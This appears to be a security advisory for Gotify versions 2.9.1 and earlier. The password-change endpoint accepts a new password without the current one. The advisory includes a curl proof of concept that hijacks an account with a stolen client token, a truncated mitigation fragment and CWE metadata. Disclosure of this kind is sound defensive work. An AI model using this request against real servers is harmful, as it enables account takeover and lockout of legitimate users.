The password change endpoint (POST /current/user/password) in Gotify versions <= 2.9.1 does not require knowledge of the current password. An attacker in possession of a valid client token can set a new password for the affected user. Recovering the account requires administrator intervention or direct database access.
# Attacker has obtained a client token
# No prior password knowledge required
STOLEN_TOKEN="Cxxxxxxxxxx"
curl -X POST "http://gotify-host/current/user/password?token=${STOLEN_TOKEN}" \
-H "Content-Type: application/json" \
-d '{"pass":"attacker_controls_this"}'
# Expected response:
# HTTP/1.1 200 OK
/user and /current/user to trusted networks.{
"cwe_ids": [
"CWE-620"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-15T20:15:38Z",
"nvd_published_at": "2026-10-13T15:17:30Z",
"severity": "MODERATE"
}